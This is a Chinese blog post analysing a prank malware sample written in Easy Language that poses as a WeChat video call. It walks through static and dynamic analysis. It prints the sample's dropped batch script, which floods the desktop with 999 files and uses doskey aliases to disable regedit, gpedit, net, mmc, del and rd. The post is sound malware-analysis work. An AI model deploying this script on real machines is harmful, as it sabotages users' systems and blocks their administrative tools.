本文首发于合天智汇:网络靶场_在线网络安全学习平台|合天智汇

由于一直没怎么分析过易语言的样本,想学习一下易语言的样本分析过程,正好最近碰见了一个易语言编写的样本,是一个专门针对人类高质量女性进行钓鱼的样本,正好拿来学习学习,笔者是一边学习一边分析,如有不对之处还望各位批评指正。

该样本图标如下:

好像和前段时间流行的某人类高质量男性留着一样的发型?查看详细信息发现文件说明处还专门指出“高质量女性请运行”:

看完文章,实战来体验下,点我

易语言的特点

要分析清楚易语言,首先得大概了解一下易语言程序怎么开发,怎么编译,易语言是一款中文编程语言,它通过封装一些支持库来拓展自身的功能。如下是一个demo:

易语言有两种主要的编译方式:

独立编译:是指易语言编译时,程序和易语言的支持库打包在一个exe文件中。程序可以脱离易语言环境使用。

非独立编译:是指易语言编译时,单独编译exe文件,这样生成的文件体积小。必须带上支持库才能使用程序。

如果依赖库不存在将会弹出报错窗口:

样本静态分析

那么有了上述知识,我们就可以判断这个样本是哪种编译方式了,拖入Ida首先发现样本会在Temp临时目录创建以E_N开头的文件夹,并释放一些后缀名为.fnr和.fne的PE文件。

调用LoadLibrary和GetProcessAddress函数,加载支持库文件,获取GetNewSock的函数地址:

然后发现后面会调用call eax和MessageBox:

这些都是易语言加载支持库的一些特征,该样本使用的是独立编译,接下来我们直接进行动态分析。

样本动态分析

我们使用火绒剑结合OD进行动态调试分析,对一些关键的API下断点,如CreateFileA,MessageBoxA,CreateProcessA,CreateWindowExA等,于是我们就可以发现除了krnln.fnr还释放了其他的支持库文件:

其中eAPI.fne是应用接口支持库,iext.fne是拓展界面支持库,krnln.fnr是系统核心支持库,shell.fne是操作系统界面功能支持库,spec.fne是特殊功能支持库,mp3.run、com.run、wmp.dll对应的是Windows媒体播放器支持库。看来这个样本可能会播放音频或者视频。继续运行发现:

同时还释放并运行一个bat文件:

dc.bat内容为:

@echo off

cd c:\users\%username%\desktop\

for /L %%X IN (1,1,999) DO type nul>人类高质量男性%%X.txt

doskey regedit=regedit.

doskey gpedit.msc= gpedit.Msc.

doskey gpedit= gpedit.Msc.

doskey net=net.

doskey mmc = mmc.

doskey mmc.exe = mmc.

doskey assoc=assoc.

doskey ftype=ftype.

doskey del = del.

doskey delete = del.

doskey RD = rd.

运行后桌面会出现999个txt文件:

同时,temp目录下还释放了如下文件:

然后出现如下类似微信电话的窗口:

当点击接听的时候便会播放音频和视频:

对于窗口所触发的行为我们可以使用OD的窗口界面:

在按钮处设置消息断点,当发生对应的事件时即可断在消息处理函数处。

然后便退出了。

其中当点击拒接微信电话时,便会出现恶搞现象,电脑屏幕出现“分块”现象,同时播放wallpaper.mp4:

还会像熊猫烧香一样将所有的exe文件图标全部修改:

这些功能主要是由释放出的FZ%.exe实现的,感兴趣的可以找我索要样本,继续分析一下,但一定要在虚拟机下运行,提前做好快照备份。

一款专门针对高质量女性的易语言钓鱼样本简单分析相关推荐

  1. 短发美女3D建模,高质量女性角色雕刻,老司机带你涨见识~

    短发美女3D建模,高质量女性角色雕刻,老司机带你涨见识~

  2. java支持库 易语言_易语言支持库简单安装加载添加

    1,首先,准备好欲安装的易语言支持库文件(fne.fnr或lib为后缀名等文件) 2,接下来,有必要对易语言支持库的文件做重要讲解.要安装支持库之前,先要弄明白易语言安装目录下的两个文件夹:lib和s ...

  3. USB硬件 键盘鼠标控制器 Lao-UKM V3.1 易语言串口通讯简单例子

    易语言5.11下, 9600波特率  com2 先打开端口,再发送数据, 鼠标移动命令:              02 00 f6 00 00     5位  16进制码 易语言我转换成10进制发送 ...

  4. 推荐5款实用高质量的APP

    1.藏书馆 一个谈笑有鸿儒往来无白丁的读书社区 你的专属个性化图书馆!自然科学,社会科学,畅销书一切你想到的想不到的,这里都有!同时提供荐读,导读,帮读,伴读,共读等读书服务,能够共享读书笔记,让你的 ...

  5. vivo手机哪款性价比高质量好 2022

    iQOOZ5是我用过的体验中最舒服的千元机,绝对值得爆炸的神机.首先Z5采用骁龙778G处理器,778G处理器不仅性能强,而且耗电也非常无敌.所有778G模型的续航表现都很好,例如小米Civi.荣光5 ...

  6. 用linux系统做数字钟,大强学易之易语言实例:简单的易语言桌面电子时钟

    本期要点 学习时钟周期事件的使用,熟悉窗口.标签的属性,了解时间与文本的相关操作.(微信搜索"大强小屋",ID:daqiangstudio,感谢关注支持) 请关注微信公众号[大强小 ...

  7. python跟易语言的爬虫_用易语言写个简单的小爬虫其中的关键点

    一.请求头 ctrl+L快捷键创建变量 变量名 类型 协议参数 类_POST数据类 请求头数据 文本型 协议参数.添加 ("v", "4.52.0") 请求头数 ...

  8. 如何快速写出高质量的文章?用易撰轻轻松松10W+

    要想写出受欢迎的爆款文章,其难度并不低,尤其对于新手而言. 网络上铺天盖地的文章宣传,自媒体门槛如何如何低,即使没有写作功底也完全没有关系,于是吸引了很多新人加入,他们一股脑地写,然后发布,坚持了很久 ...

  9. 8款高质量小程序推荐:(工具类、电影类、阅读类)

    一谈到微信小程序,想必很多人并不陌生!基于微信而研发的产物,它可以不用像APP那样,无需下载安装即可便捷使用的程序,它的出现也为我们的手机省下不少的空间!但现在我们都用惯的APP,又有谁经常会使用上微 ...

最新文章

  1. 仿IPhone滚轮组件分析WheelScroller
  2. 太白教你学python---博客分类目录
  3. python 删除文件或文件夹
  4. 开发中的坑:MQ 也能做 RPC 调用?
  5. mysql中使用安全等于 <=>
  6. 在服务中创建用户进程的方法(C#版)
  7. ROM存储1/4周期正弦信号构造DDS
  8. 树莓派之ubuntu安装docker
  9. 两个向量的夹角公式_平面向量夹角公式是怎么计算的 上下分别怎么算 细讲
  10. 计算机网络实验教程钱德沛_计算机网络实验教程完成版.pdf
  11. 开源驱动全球经济发展
  12. 任正非——《一江春水向东流》
  13. deprecate(反对) 关于依赖版本低的问题
  14. 世界上最快的计算机-泰坦和天河二号
  15. VScode 本地或远程单文件和多文件调试精简配置
  16. 采购系统是如何管理供应商的?
  17. 为什么设计稿是750px
  18. C语言练习——逆序输出数字
  19. 红外热成像的空间分辨率怎么算?
  20. 把已有普通文件夹变成git仓库以及git常用命令的使用

热门文章

  1. [一]关于12306---登录
  2. Jenkins详细安装配置部署
  3. 详解全局变量,全局变量与静态变量的区别
  4. 安卓市场和安智市场_安卓应用如何快速上架应用市场?
  5. 狙击女王的“柳德米拉·米哈伊尔洛夫娜·帕夫利琴科”。
  6. python-根据csv文件,按照标签划分文件夹数据集
  7. 计算机技术在会计中应用,计算机技术在财务会计中的应用论文
  8. 在珠海C1驾照能开什么车?
  9. java 地图报表_Echarts实现定位-高德-天地图
  10. 关于 Python_你一定没读过的8个技巧